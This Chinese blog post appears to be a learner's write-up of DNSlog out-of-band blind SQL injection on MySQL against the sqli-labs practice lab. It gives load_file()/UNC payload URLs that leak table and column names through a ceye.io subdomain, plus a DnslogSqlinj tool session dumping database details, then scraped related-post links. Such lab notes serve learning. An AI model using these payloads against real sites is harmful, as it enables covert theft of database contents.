我遇到了两个巨坑,加上http://ceye.io/,经常无法访问,记录一下心酸的踩坑历史。

直接将两个巨坑放到最前面,提醒后人!!

1. sql盲注,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,原理就是''代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个就是转义了反斜杠。

2. 通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
我当初的:直接在centos上进行测试,之后在win10上测试的时候没有使用这个函数进行查看。
直接被自己蠢哭.... ...

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。先简单介绍一下原理:

关于OOB
out-of-band带外数据(OOB)与inband相反,它是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件)。OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。

DNSlog在Web漏洞利用简单理解就是在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。

这里使用的DNS的原因是:DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息 简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

上张图:

所以,首先需要一个域名http://abc.com,之后访问xxx.abccom,dns服务会将此解析放入log记录中,之后就可以通过log记录获取之前的查询信息。

这里推荐生成域名的平台http://www.ceye.io,我使用的时候经常连接被重置,不知道为啥

注册完成后

实现条件(如上)

1、SQL盲注、无回显的命令执行、无回显的SSRF 2、只能用于windows系统 3、需要用到mysql中的load_file()函数,在Mysql中,load_file()函数读取一个文件并将其内容作为字符串返回。(不绝对,仅仅只是列举了mysql数据库的函数)

再介绍一下UNC

UNC路径
什么是UNC路径?
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
UNC路径就是类似softer这样的形式的网络路径。它符合 servernamesharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:servernamesharenamedirectoryfilename。
例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径
//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

配置完成后开始注入

这样配置完成后,在数据库中进行测试,dnslog被记录下来的。

使用load_file()这个函数支持对外的读取,所以拼接payload。下面就可以进行愉快的sql注入了

dnslog被记录下来的。
使用load_file()这个函数支持对外的读取,所以拼接payload。下面就可以进行愉快的sql注入了

成功爆出数据库名,下面继续爆数据表名

http://192.168.64.152/sqli-labs/Less-9/?id=-1' and if((select load_file(concat('',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'.XXXXX.ceye.ioabc'))),1,0)--+

继续爆列名

http://192.168.64.152/sqli-labs/Less-9/?id=-1' and if((select load_file(concat('',(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),'.XXXXX.ceye.ioabc'))),1,0)--+

最后直接爆数据,大功告成!

DNS注入工具:DnslogSqlinj

可以直接在github上下,https://github.com/ADOOO/DnslogSqlinj,需要py2的环境来运行

下载完成后直接解压

will@kali:~$ unzip DnslogSqlinj-master.zip
will@kali:~$ cd DnslogSqlinj-master/
will@kali:~/DnslogSqlinj-master$ ls
checkSql.py  checkSql.pyc  config.py  config.pyc  dnslogSql.py  README.md
will@kali:~/DnslogSqlinj-master$ vim config.py注意,这里要修改这两个为你自己的# DNSlog 设置APItoken = 'xxxxx'DNSurl = 'xxx'修改完成后保存
will@kali:~/DnslogSqlinj-master$ sudo python dnslogSql.py
____________________________________________________________________            _                   _____       _ |  __           | |                 |_   _|     (_)| |  | |_ __  ___| |     ___   __ _    | |  _ __  _ | |  | | '_ / __| |    / _  / _` |   | | | '_ | || |__| | | | __  |___| (_) | (_| |  _| |_| | | | ||_____/|_| |_|___/_________/ __, | |_____|_| |_| |__/ |            _/ ||___/            |__/
​DnsLog SqlInj Scanner by ADOVersion 1.0https://github.com/ADOOO/DnslogSqlinj
_______________________________________________________________
​
Usage: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+
​
Options:--version             show program's version number and exit-h, --help            show this help message and exit-u URL, --url=URL     target include injection-c, --check           task name-n TASKNAME, --name=TASKNAMEtask name-t THREAD_COUNT, --thread=THREAD_COUNTthread_count-i INF, --inf=INF     Testing target and Try to get information--dbs                 get database-D DB                 database name--tables              get table-T TABLE              table name--columns             get column-C COLUMN             column name--dump                get data
根据提示,配置参数,如下
will@kali:~/DnslogSqlinj-master$ sudo python dnslogSql.py -u "http://192.168.64.152/sqli-labs/Less-9/?id=1' and ({})--+"
​
[!]Testing Target and Try to get current information!
​
[*]Current user:        root@localhost
[*]Current data:        security
得到数据库名和用户名(在平台中也能看到记录,但是是数字和一些英文,木有看懂)

继续获取对应数据库下面的数据表

will@kali:~/DnslogSqlinj-master$ sudo python dnslogSql.py -u "http://192.168.64.152/sqli-labs/Less-9/?id=1' and ({})--+" -D "security" --tables
​
[*]Database:security
[*]Get data count: 4
[*]Data 2:      referers
[*]Data 4:      users
[*]Data 3:      uagents
[*]Data 1:      emails

然后继续爆字段,爆数据

PS:写的逻辑有些混乱,web萌新,多多包涵。
参考:还有其他很多

DNS log注入​www.jianshu.com

concat拼接的坑 mysql_DNSlog注入踩坑记录:相关推荐

  1. java 做项目踩坑,web项目踩坑过程

    sql函数设计: 一开始本来是直接用Java的jdbc直接传输操作语句的.但后来学了存储过程发现存储过程可以提高不少的效率.就重构了自己对数据库的操作代码.包括:开启,查找,修改,关闭. 开启:直接使 ...

  2. 不要再吐槽我R7000 2020的龙腾屏了,我给它换上了京东方的4K屏(已经填坑,谨慎踩坑)

    (20210802)更新:屏幕已经换好了,这里提醒一下拆散热铜管最好准备硅脂,因为拆铜管的话,基本都是要重新涂硅脂的.因为拆过一次,这花了不到一个小时就搞定了.换完没有任何问题.诶..这也算是体验4K ...

  3. 数据分析避坑指南-小白兔踩坑记

    从一开始的数据分析"小白兔",不断进坑.弹跳出坑,练就健壮有力的小腿,逐步变成一只拥有了防御能力.没有那么弱小的"小灰兔". 成长和职业发展的过程,就是进阶打怪 ...

  4. java三元运算_记一次java中三元表达式的坑(避免踩坑)

    近期一直在刷算法,原创文章写的也比较少,今天的主题不算是一个很大的问题,是我做题的时候出来的,而且还曾在A厂的公众号上看到过,今天自己整理一下,避免大家入坑. 这个问题是三元表达式会在计算的时候出现拆 ...

  5. uni-app真坑 uni.scss踩坑记录

    希望设计这块的产品进来被骂 希望开发这块的程序员进来被骂 希望所有偷懒耍滑的程序员进来被骂 希望uni-app的负责人进来被骂 希望uni-app的老板进来被骂 你们脑子都进水了吗??? 每个scss ...

  6. (踩坑回忆录)Dva踩坑与解决方案

    前言 问题 antd-pro组件的使用 首先到antd-pro,使用git命令clone项目 项目目录中找到src/components 找到你想用的组件,例如 我想使用chart(图表),将整个Ch ...

  7. Android WebView 踩坑日记,字体怎么突然变小了???

    背景 最近,端内在做 webView 统一的时候,个性签名中的 WebView 替换为 CustomWebView 之后,发现字体突然变小. 一开始不知道是什么原因,通过二分法查找最近的提交,排查之后 ...

  8. android ble mvp,Android mvparms 踩坑

    GitHub:https://github.com/JessYanCoding/MVPArms 起先是想自己封装Retrofit+Rxjava+mvp这种架构,在网上参考了很多文章,结果就看到了关于m ...

  9. Android WebView 踩坑日记,字体怎么突然变小了?

    parsedHtml += "<meta name="viewport" content="width=device-width,initial-scal ...

最新文章

  1. 操作系统性能监控-磁盘IO
  2. pomelo php,Nginx 502 Bad Gateway 自动重启shell脚本
  3. Java-InnerClass内部类
  4. J2EE后台UI系统框架搭建-EXTJs使用(4.1 GPL版本)
  5. 正经科普:12306能扛得住明星并发出轨级的流量吗?
  6. Scrapy中Request的回调函数不执行
  7. item name=android:width,Android:形状中的笔划创建笔划宽度的边距
  8. jmeter找不到java_Windows下Jmeter安装出现Not able to find Java executable or version问题解决方案...
  9. python多线程扫描_Python多线程扫描端口代码示例
  10. java的标识符可以以数字开头_标识符可以以数字开头,但不能是Java中的关键字...
  11. Java中,native2ascii.exe 的使用(最简单说明)
  12. WordPress 简约主题 NDNAV 网址导航网站模版
  13. 为计算机技术奉献一生语录,关于奉献精神的名言50句
  14. 沙特国王科技大学计算机专业,沙特国王科技大学好不好?在世界的排名怎么样啊?哪个专业最强?...
  15. android emoji 服务器,Emoji 实战问题:iOS,Android,Server
  16. Revit中栏杆扶手、坡道的绘制及插件太多问题
  17. 中国南极科考队两支内陆小分队顺利“会师”
  18. android开发自定义键盘,Android 总结:自定义键盘实现原理和三种实例详解
  19. 单例模式(中):单例模式的弊端
  20. CDH安装指南(Centos6)

热门文章

  1. 五百字简文告诉你美国为何要倾一国之力对中国的一家民营企业华为痛下杀手?...
  2. jmeter 测试websocket接口(一)
  3. 0025-中点位移的速度
  4. Java问题解决:Java compiler level does not match the version of the installed Java project facet....
  5. [笔记]C#基础入门(五)——算法:交换
  6. 一个简单的blog系统(九) 增加标签和标签页面
  7. Socket网络编程--简单Web服务器(2)
  8. CoreJava 5.3 泛型数组列表
  9. 推荐JQuery学习简介
  10. DBGrid 应用全书(一)